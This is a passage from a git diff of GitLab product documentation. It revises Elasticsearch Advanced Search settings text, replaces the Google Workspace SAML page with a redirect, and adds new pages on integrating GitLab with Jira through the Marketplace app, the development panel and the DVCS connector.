-| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch's Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch's Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
| `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. |
WARNING:
@@ -671,7 +679,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the master branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index.
-In general, we recommend simply letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_
+In general, we recommend letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_
However, some larger installations may wish to tune the merge policy settings:
@@ -711,8 +719,7 @@ data).
The use of Elasticsearch in GitLab is only ever as a secondary data store.
This means that all of the data stored in Elasticsearch can always be derived
again from other data sources, specifically PostgreSQL and Gitaly. Therefore, if
-the Elasticsearch data store is ever corrupted for whatever reason, you can
-simply reindex everything from scratch.
+the Elasticsearch data store is ever corrupted for whatever reason, you can reindex everything from scratch.
## Troubleshooting
@@ -908,7 +915,7 @@ In GitLab 13.9, a change was made where [binary file names are being indexed](ht
### Last resort to recreate an index
There may be cases where somehow data never got indexed and it's not in the
-queue, or the index is somehow in a state where migrations just simply cannot
+queue, or the index is somehow in a state where migrations just cannot
proceed. It is always best to try to troubleshoot the root cause of the problem
using the above [troubleshooting](#troubleshooting) steps.
@@ -936,3 +943,10 @@ sudo gitlab-rake gitlab:elastic:index
cd /home/git/gitlab
sudo -u git -H bundle exec rake gitlab:elastic:index
```
+
+### How does Advanced Search handle private projects?
+
+Advanced Search will store all the projects in the same Elasticsearch indexes,
+however searches will only surface results that can be viewed by the user.
+Advanced Search will honor all permission checks in the application by
+filtering out projects that a user does not have access to at search time.
diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md
index 7b561750b0f..46a39a2e64b 100644
--- a/doc/integration/google_workspace_saml.md
+++ b/doc/integration/google_workspace_saml.md
@@ -1,163 +1,8 @@
---
-type: reference
-stage: Manage
-group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'saml.md'
---
-# Google Workspace SSO provider
+This document was moved to [another location](saml.md).
-Google Workspace (formerly G Suite) is a [Single Sign-on provider](https://support.google.com/a/answer/60224?hl=en) that can be used to authenticate
-with GitLab.
-
-The following documentation enables Google Workspace as a SAML provider for GitLab.
-
-## Configure the Google Workspace SAML app
-
-The following guidance is based on this Google Workspace article, on how to [Set up your own custom SAML application](https://support.google.com/a/answer/6087519?hl=en):
-
-Make sure you have access to a Google Workspace [Super Admin](https://support.google.com/a/answer/2405986#super_admin) account.
- Follow the instructions in the linked Google Workspace article, where you'll need the following information:
-
-| | Typical value | Description |
-|------------------|--------------------------------------------------|----------------------------------------------------------|
-| Name of SAML App | GitLab | Other names OK. |
-| ACS URL | `https://<GITLAB_DOMAIN>/users/auth/saml/callback` | ACS is short for Assertion Consumer Service. |
-| GITLAB_DOMAIN | `gitlab.example.com` | Set to the domain of your GitLab instance. |
-| Entity ID | `https://gitlab.example.com` | A value unique to your SAML app, you'll set it to the `issuer` in your GitLab configuration. |
-| Name ID format | EMAIL | Required value. Also known as `name_identifier_format` |
-| Name ID | Primary email address | Make sure someone receives content sent to that address |
-| First name | `first_name` | Required value to communicate with GitLab. |
-| Last name | `last_name` | Required value to communicate with GitLab. |
-
-You will also need to setup the following SAML attribute mappings:
-
-| Google Directory attributes | App attributes |
-|-----------------------------------|----------------|
-| Basic information > Email | `email` |
-| Basic Information > First name | `first_name` |
-| Basic Information > Last name | `last_name` |
-
-You may also use some of this information when you [Configure GitLab](#configure-gitlab).
-
-When configuring the Google Workspace SAML app, be sure to record the following information:
-
-| | Value | Description |
-|-------------|--------------|-----------------------------------------------------------------------------------|
-| SSO URL | Depends | Google Identity Provider details. Set to the GitLab `idp_sso_target_url` setting. |
-| Certificate | Downloadable | Run `openssl x509 -in <your_certificate.crt> -noout -fingerprint` to generate the SHA1 fingerprint that can be used in the `idp_cert_fingerprint` setting. |
-
-While the Google Workspace Admin provides IDP metadata, Entity ID and SHA-256 fingerprint,
-GitLab does not need that information to connect to the Google Workspace SAML app.
-
----
-
-Now that the Google Workspace SAML app is configured, it's time to enable it in GitLab.
-
-## Configure GitLab
-
-1. See [Initial OmniAuth Configuration](../integration/omniauth.md#initial-omniauth-configuration)
- for initial settings.
-
-1. To allow people to register for GitLab, through their Google accounts, add the following
- values to your configuration:
-
- **For Omnibus GitLab installations**
-
- Edit `/etc/gitlab/gitlab.rb`:
-
- ```ruby
- gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
- gitlab_rails['omniauth_block_auto_created_users'] = false
- ```
-
- ---
-
- **For installations from source**
-
- Edit `config/gitlab.yml`:
-
- ```yaml
- allow_single_sign_on: ["saml"]
- block_auto_created_users: false
- ```
-
-1. If an existing GitLab user has the same email address as a Google Workspace user, the registration
- process automatically links their accounts, if you add the following setting:
- their email addresses match by adding the following setting:
-
- **For Omnibus GitLab installations**
-
- Edit `/etc/gitlab/gitlab.rb`:
-
- ```ruby
- gitlab_rails['omniauth_auto_link_saml_user'] = true
- ```
-
- ---
-
- **For installations from source**
-
- Edit `config/gitlab.yml`:
-
- ```yaml
- auto_link_saml_user: true
- ```
-
-1. Add the provider configuration.
-
-For guidance on how to set up these values, see the [SAML General Setup steps](saml.md#general-setup).
-Pay particular attention to the values for:
-
-- `assertion_consumer_service_url`
-- `idp_cert_fingerprint`
-- `idp_sso_target_url`
-- `issuer`
-- `name_identifier_format`
-
- **For Omnibus GitLab installations**
-
- ```ruby
- gitlab_rails['omniauth_providers'] = [
- {
- name: 'saml',
- args: {
- assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback',
- idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00',
- idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000',
- issuer: 'https://<GITLAB_DOMAIN>',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress'
- },
- label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml"
- }
- ]
- ```
-
- **For installations from source**
-
- ```yaml
- - {
- name: 'saml',
- args: {
- assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback',
- idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00',
- idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000',
- issuer: 'https://<GITLAB_DOMAIN>',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress'
- },
- label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml"
- }
- ```
-
-1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for Omnibus and installations
- from source respectively for the changes to take effect.
-
-To avoid caching issues, test the result on an incognito or private browser window.
-
-## Troubleshooting
-
-The Google Workspace documentation on [SAML app error messages](https://support.google.com/a/answer/6301076?hl=en) is helpful for debugging if you are seeing an error from Google while signing in.
-Pay particular attention to the following 403 errors:
-
-- `app_not_configured`
-- `app_not_configured_for_user`
+<!-- This redirect file can be deleted after 2021-06-15>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/img/enabled-oauth-sign-in-sources.png b/doc/integration/img/enabled-oauth-sign-in-sources.png
deleted file mode 100644
index e83f9d5cfdf..00000000000
--- a/doc/integration/img/enabled-oauth-sign-in-sources.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png b/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png
new file mode 100644
index 00000000000..86f6402c168
--- /dev/null
+++ b/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_gl_setup_1.png b/doc/integration/img/jira_dev_panel_gl_setup_1.png
deleted file mode 100644
index 75279877c93..00000000000
--- a/doc/integration/img/jira_dev_panel_gl_setup_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_jira_setup_2.png b/doc/integration/img/jira_dev_panel_jira_setup_2.png
deleted file mode 100644
index a4778a00dd5..00000000000
--- a/doc/integration/img/jira_dev_panel_jira_setup_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md
index 1250ddee584..60c9faf938d 100644
--- a/doc/integration/jenkins.md
+++ b/doc/integration/jenkins.md
@@ -87,7 +87,7 @@ authorize the connection to GitLab.
1. On the Jenkins server, go to **Manage Jenkins > Manage Plugins**.
1. Install the [Jenkins GitLab Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Plugin).
1. Go to **Manage Jenkins > Configure System**.
-1. In the **GitLab** section, check the **Enable authentication for ‘/project’ end-point** checkbox.
+1. In the **GitLab** section, check the **Enable authentication for '/project' end-point** checkbox.
1. Click **Add**, then choose **Jenkins Credential Provider**.
1. Choose **GitLab API token** as the token type.
1. Enter the GitLab personal access token's value in the **API Token** field and click **Add**.
diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md
new file mode 100644
index 00000000000..b096d5bff61
--- /dev/null
+++ b/doc/integration/jira/connect-app.md
@@ -0,0 +1,130 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab for Jira app **(FREE SAAS)**
+
+You can integrate GitLab.com and Jira Cloud using the
+[GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud)
+app in the Atlassian Marketplace. The user configuring GitLab for Jira must have
+[Maintainer](../../user/permissions.md) permissions in the GitLab namespace.
+
+This integration method supports [smart commits](dvcs.md#smart-commits).
+
+This method is recommended when using GitLab.com and Jira Cloud because data is
+synchronized in real-time. The DVCS connector updates data only once per hour.
+If you are not using both of these environments, use the [Jira DVCS Connector](dvcs.md) method.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For a walkthrough of the integration with GitLab for Jira, watch
+[Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube.
+
+1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab.
+1. Click **GitLab for Jira**, then click **Get it now**, or go to the
+ [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud).
+
+ ![Install GitLab App on Jira](img/jira_dev_panel_setup_com_1.png)
+1. After installing, click **Get started** to go to the configurations page.
+ This page is always available under **Jira Settings > Apps > Manage apps**.
+
+ ![Start GitLab App configuration on Jira](img/jira_dev_panel_setup_com_2.png)
+1. If not already signed in to GitLab.com, you must sign in as a user with
+ [Maintainer](../../user/permissions.md) permissions to add namespaces.
+
+ ![Sign in to GitLab.com in GitLab Jira App](img/jira_dev_panel_setup_com_3_v13_9.png)
+1. Select **Add namespace** to open the list of available namespaces.
+
+1. Identify the namespace you want to link, and select **Link**.
+
+ ![Link namespace in GitLab Jira App](img/jira_dev_panel_setup_com_4_v13_9.png)
+
+NOTE:
+The GitLab user only needs access when adding a new namespace. For syncing with
+Jira, we do not depend on the user's token.
+
+After a namespace is added:
+
+- All future commits, branches, and merge requests of all projects under that namespace
+ are synced to Jira.
+- From GitLab 13.8, past merge request data is synced to Jira.
+
+Support for syncing past branch and commit data [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/263240).
+
+## Install the GitLab Jira Cloud application for self-managed instances **(FREE SELF)**
+
+If your GitLab instance is self-managed, you must follow some
+extra steps to install the GitLab Jira Cloud application.
+
+Each Jira Cloud application must be installed from a single location. Jira fetches
+a [manifest file](https://developer.atlassian.com/cloud/jira/platform/connect-app-descriptor/)
+from the location you provide. The manifest file describes the application to the system. To support
+self-managed GitLab instances with Jira Cloud, you can either:
+
+- [Install the application manually](#install-the-application-manually).
+- [Create a Marketplace listing](#create-a-marketplace-listing).
+
+### Install the application manually **(FREE SELF)**
+
+You can configure your Atlassian Cloud instance to allow you to install applications
+from outside the Marketplace, which allows you to install the application:
+
+1. Sign in to your Jira instance as a user with administrator permissions.
+1. Place your Jira instance into
+ [development mode](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-2--enable-development-mode).
+1. Sign in to your GitLab application as a user with [Administrator](../../user/permissions.md) permissions.
+1. Install the GitLab application from your self-managed GitLab instance, as
+ described in the [Atlassian developer guides](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-3--install-and-test-your-app):
+ 1. In your Jira instance, go to **Apps > Manage Apps** and click **Upload app**:
+
+ ![Image showing button labeled "upload app"](img/jira-upload-app_v13_11.png)
+
+ 1. For **App descriptor URL**, provide full URL to your manifest file, modifying this
+ URL based on your instance configuration: `https://your.domain/your-path/-/jira_connect/app_descriptor.json`
+ 1. Click **Upload**, and Jira fetches the content of your `app_descriptor` file and installs
+ it for you.
+ 1. If the upload is successful, Jira displays a modal panel: **Installed and ready to go!**
+ Click **Get started** to configure the integration.
+
+ ![Image showing success modal](img/jira-upload-app-success_v13_11.png)
+
+1. Disable [development mode](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-2--enable-development-mode) on your Jira instance.
+
+The **GitLab for Jira** app now displays under **Manage apps**. You can also
+click **Get started** to open the configuration page rendered from your GitLab instance.
+
+NOTE:
+If you make changes to the application descriptor, you must uninstall, then reinstall, the
+application.
+
+### Create a Marketplace listing **(FREE SELF)**
+
+If you prefer to not use development mode on your Jira instance, you can create
+your own Marketplace listing for your instance, which enables your application
+to be installed from the Atlassian Marketplace.
+
+For full instructions, review the Atlassian [guide to creating a marketplace listing](https://developer.atlassian.com/platform/marketplace/installing-cloud-apps/#creating-the-marketplace-listing). To create a
+Marketplace listing, you must:
+
+1. Register as a Marketplace vendor.
+1. List your application, using the application descriptor URL.
+ - Your manifest file is located at: `https://your.domain/your-path/-/jira_connect/app_descriptor.json`
+ - GitLab recommends you list your application as `private`, because public
+ applications can be viewed and installed by any user.
+1. Generate test license tokens for your application.
+
+Review the
+[official Atlassian documentation](https://developer.atlassian.com/platform/marketplace/installing-cloud-apps/#creating-the-marketplace-listing)
+for details.
+
+NOTE:
+DVCS means distributed version control system.
+
+## Troubleshooting GitLab for Jira
+
+The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in.
+
+> "You need to sign in or sign up before continuing."
+
+In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/) or enable cross-site cookies in your browser.
diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md
new file mode 100644
index 00000000000..1617e950104
--- /dev/null
+++ b/doc/integration/jira/development_panel.md
@@ -0,0 +1,155 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab Jira Development panel integration **(FREE)**
+
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to GitLab Free in 13.4.
+
+The Jira Development panel integration allows you to reference Jira issues in GitLab, displaying
+activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/)
+in the issue.
+
+It complements the [GitLab Jira integration](../../user/project/integrations/jira.md). You may choose
+to configure both integrations to take advantage of both sets of features. See a
+[feature comparison](index.md#direct-feature-comparison).
+
+## Features
+
+| Your mention of Jira issue ID in GitLab context | Automated effect in Jira issue |
+|---------------------------------------------------|--------------------------------------------------------------------------------------------------------|
+| In a merge request | Link to the MR is displayed in Development panel. |
+| In a branch name | Link to the branch is displayed in Development panel. |
+| In a commit message | Link to the commit is displayed in Development panel. |
+| In a commit message with Jira Smart Commit format | Displays your custom comment or logged time spent and/or performs specified issue transition on merge. |
+
+With this integration, you can access related GitLab merge requests, branches, and commits directly from a Jira issue, reflecting your work in GitLab. From the Development panel, you can open a detailed view and take actions including creating a new merge request from a branch. For more information, see [Usage](#usage).
+
+This integration connects all GitLab projects to projects in the Jira instance in either:
+
+- A top-level group. A top-level GitLab group is one that does not have any parent group itself. All
+ the projects of that top-level group, as well as projects of the top-level group's subgroups nesting
+ down, are connected.
+- A personal namespace, which then connects the projects in that personal namespace to Jira.
+
+This differs from the [Jira integration](../../user/project/integrations/jira.md), where the mapping is between one GitLab project and the entire Jira instance.
+
+Additional features provided by the Jira Development Panel integration include:
+
+- In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests.
+- Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition.
+- Showing pipeline, deployment, and feature flags in Jira issues.
+
+## Configuration
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview of how to configure Jira Development panel integration, see [Agile Management - GitLab Jira Development panel integration](https://www.youtube.com/watch?v=VjVTOmMl85M&feature=youtu.be).
+
+We recommend that a GitLab group maintainer or group owner, or instance administrator (in the case of
+self-managed GitLab) set up the integration to simplify administration.
+
+| If you use Jira on: | GitLab.com customers need: | GitLab self-managed customers need: |
+|-|-|-|
+| [Atlassian cloud](https://www.atlassian.com/cloud) | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab and Jira. | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab Jira Cloud application for self-managed instances](connect-app.md#install-the-gitlab-jira-cloud-application-for-self-managed-instances) for more information. |
+| Your own server | The Jira DVCS (distributed version control system) connector. This syncs data hourly. | The [Jira DVCS Connector](dvcs.md). |
+
+Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab
+project can interact with _all_ Jira projects in that instance, once configured. For:
+
+- The [view Jira issues](issues.md#view-jira-issues) feature, you must associate a GitLab project with a
+ specific Jira project.
+- Other features, you do not have to explicitly associate a GitLab project with any single Jira
+ project.
+
+If you have a single Jira instance, you can pre-fill the settings. For more information, read the
+documentation for [central administration of project integrations](../../user/admin_area/settings/project_integration_management.md).
+
+To enable the Jira service in GitLab, you must:
+
+1. Configure the project in Jira.
+1. Enter the correct values in GitLab.
+
+### Configure GitLab
+
+> **Notes:**
+>
+> - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`.
+> - In order to support Oracle's Access Manager, GitLab sends additional cookies
+> to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with
+> a value of `fromDialog`.
+
+To enable the Jira integration in a project:
+
+1. Go to the project's [Integrations page](../../user/project/integrations/overview.md#accessing-integrations) and select the
+ **Jira** service.
+
+1. Select **Enable integration**.
+
+1. Select **Trigger** actions.
+ This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both,
+ should link the Jira issue back to that source commit/MR and transition the Jira issue, if
+ indicated.
+
+1. To include a comment on the Jira issue when the above reference is made in GitLab, select
+ **Enable comments**.
+
+1. To transition Jira issues when a [closing reference](../../user/project/issues/managing_issues.md#closing-issues-automatically) is made in GitLab,
+ select **Enable Jira transitions**.
+
+1. Enter the further details on the page as described in the following table.
+
+ | Field | Description |
+ | ----- | ----------- |
+ | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. For example, `https://jira.example.com`. |
+ | `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira on Atlassian cloud**. |
+ | `Username or Email` | Created in [configure Jira](dvcs.md#configure-jira-for-dvcs) step. Use `username` for **Jira Server** or `email` for **Jira on Atlassian cloud**. |
+ | `Password/API token` | Created in [configure Jira](dvcs.md#configure-jira-for-dvcs) step. Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**. |
+
+1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and
+ enter a Jira project key. **(PREMIUM)**
+
+ You can only display issues from a single Jira project within a given GitLab project.
+
+ WARNING:
+ If you enable Jira issues with the setting above, all users that have access to this GitLab project
+ are able to view all issues from the specified Jira project.
+
+1. To enable creation of issues for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**.
+
+ 1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again.
+
+1. To verify the Jira connection is working, select **Test settings**.
+
+1. Select **Save changes**.
+
+Your GitLab project can now interact with all Jira projects in your instance and the project now
+displays a Jira link that opens the Jira project.
+
+## Usage
+
+After the integration is set up on GitLab and Jira, you can:
+
+- Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request
+ titles.
+- See the linked branches, commits, and merge requests in Jira issues (merge requests are
+ called "pull requests" in Jira issues).
+
+Jira issue IDs must be formatted in uppercase for the integration to work.
+
+![Branch, Commit and Pull Requests links on Jira issue](img/jira_dev_panel_jira_setup_3.png)
+
+Click the links to see your GitLab repository data.
+
+![GitLab commits details on a Jira issue](img/jira_dev_panel_jira_setup_4.png)
+
+![GitLab merge requests details on a Jira issue](img/jira_dev_panel_jira_setup_5.png)
+
+For more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page [Using Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html).
+
+## Limitations
+
+This integration is not supported on GitLab instances under a
+[relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab).
+For example, `http://example.com/gitlab`.
diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md
new file mode 100644
index 00000000000..5d315ebd802
--- /dev/null
+++ b/doc/integration/jira/dvcs.md
@@ -0,0 +1,221 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Jira DVCS connector
+
+Use the Jira DVCS (distributed version control system) connector if you self-host
+either your Jira instance or your GitLab instance, and you want to sync information
+between them. If you use Jira Cloud and GitLab.com, you should use the
+[GitLab for Jira app](connect-app.md) unless you specifically need the DVCS connector.
+
+When you configure the Jira DVCS connector, make sure your GitLab and Jira instances
+are accessible.
+
+- **Self-managed GitLab**: Your GitLab instance must be accessible by Jira.
+- **Jira Cloud**: Your instance must be accessible through the internet.
+- **Jira Server**: Your network must allow access to your instance.
+
+## Smart commits
+
+When connecting GitLab with Jira with DVCS, you can process your Jira issues using
+special commands, called
+[Smart Commits](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/),
+in your commit messages. With Smart Commits, you can:
+
+- Comment on issues.
+- Record time-tracking information against issues.
+- Transition issues to any status defined in the Jira project's workflow.
+
+Commands must be in the first line of the commit message. The
+[Jira Software documentation](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/)
+contains more information about how smart commits work, and what commands are available
+for your use.
+
+For smart commits to work, the committing user on GitLab must have a corresponding
+user on Jira with the same email address or username.
+
+## Configure a GitLab application for DVCS
+
+We recommend you create and use a `jira` user in GitLab, and use the account only
+for integration work. A separate account ensures regular account maintenance does not affect
+your integration.
+
+1. In GitLab, [create a user](../../user/profile/account/create_accounts.md) for Jira to
+ use to connect to GitLab. For Jira to access all projects,
+ a user with [Administrator](../../user/permissions.md) permissions must
+ create the user.
+1. In the top right corner, click the account's avatar, and select **Edit profile**.
+1. In the left sidebar, select **Applications**.
+1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
+1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab,
+ replacing `<gitlab.example.com>` with your GitLab instance domain:
+ - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>/login/oauth/callback`.
+ If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`.
+ - *For GitLab versions 11.2 and earlier,* use
+ `https://<gitlab.example.com>/-/jira/login/oauth/callback`.
+
+1. For **Scopes**, select `api` and clear any other checkboxes.
+1. Select **Submit**.
+1. GitLab displays the generated **Application ID**
+ and **Secret** values. Copy these values, as you need them to configure Jira.
+
+## Configure Jira for DVCS
+
+If you use Jira Cloud and GitLab.com, use the [GitLab for Jira app](connect-app.md)
+unless you specifically need the DVCS Connector.
+
+Configure this connection when you want to import all GitLab commits and branches,
+for the groups you specify, into Jira. This import takes a few minutes and, after
+it completes, refreshes every 60 minutes:
+
+1. Ensure you have completed the [GitLab configuration](#configure-a-gitlab-application-for-dvcs).
+1. Go to your DVCS account:
+ - *For Jira Server,* go to **Settings (gear) > Applications > DVCS accounts**.
+ - *For Jira Cloud,* go to **Settings (gear) > Products > DVCS accounts**.
+1. To create a new integration, select the appropriate value for **Host**:
+ - *For Jira versions 8.14 and later:* Select **GitLab** or
+ <!-- vale gitlab.Substitutions = NO -->
+ **GitLab Self-Hosted**.
+ <!-- vale gitlab.Substitutions = YES -->
+ - *For Jira versions 8.13 and earlier:* Select **GitHub Enterprise**.
+1. For **Team or User Account**, enter either:
+ - The relative path of a top-level GitLab group that you have access to.
+ - The relative path of your personal namespace.
+
+1. In the **Host URL** field, enter the URI appropriate for your version of GitLab,
+ replacing `<gitlab.example.com>` with your GitLab instance domain:
+ - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>`.
+ - *For GitLab versions 11.2 and earlier,* use
+ `https://<gitlab.example.com>/-/jira`.
+
+1. For **Client ID**, use the **Application ID** value from the previous section.
+1. For **Client Secret**, use the **Secret** value from the previous section.
+1. Ensure that the rest of the checkboxes are checked.
+1. Select **Add** to complete and create the integration.
+
+To connect additional GitLab projects from other GitLab top-level groups, or
+personal namespaces, repeat the previous steps with additional Jira DVCS accounts.
+
+After you configure the integration, read more about [how to test and use it](development_panel.md#usage).
+
+## Refresh data imported to Jira
+
+Jira imports the commits and branches every 60 minutes for your projects. You
+can refresh the data manually from the Jira interface:
+
+1. Sign in to your Jira instance as the user you configured the integration with.
+1. Go to **Settings (gear) > Applications**.
+1. Select **DVCS accounts**.
+1. In the table, for the repository you want to refresh, in the **Last Activity**
+ column, select the icon:
+ ![Refresh GitLab information in Jira](img/jira_dev_panel_manual_refresh.png)
+
+## Troubleshooting your DVCS connection
+
+Refer to the items in this section if you're having problems with your DVCS connector.
+
+### Jira cannot access GitLab server
+
+If you complete the **Add New Account** form, authorize access, and you receive
+this error, Jira and GitLab cannot connect. No other error messages
+appear in any logs:
+
+```plaintext
+Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
+```
+
+### SSL and TLS problems
+
+Problems with SSL and TLS can cause this error message:
+
+```plaintext
+Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
+```
+
+- The [GitLab Jira integration](../../user/project/integrations/jira.md) requires
+ GitLab to connect to Jira. Any TLS issues that arise from a private certificate
+ authority or self-signed certificate are resolved
+ [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#other-certificate-authorities),
+ as GitLab is the TLS client.
+- The Jira Development panel integration requires Jira to connect to GitLab, which
+ causes Jira to be the TLS client. If your GitLab server's certificate is not
+ issued by a public certificate authority, the Java Truststore on Jira's server
+ must have the appropriate certificate (such as your organization's
+ root certificate) added to it .
+
+Refer to Atlassian's documentation and Atlassian Support for assistance setting up Jira correctly:
+
+- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html)
+ to the trust store.
+ - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html).
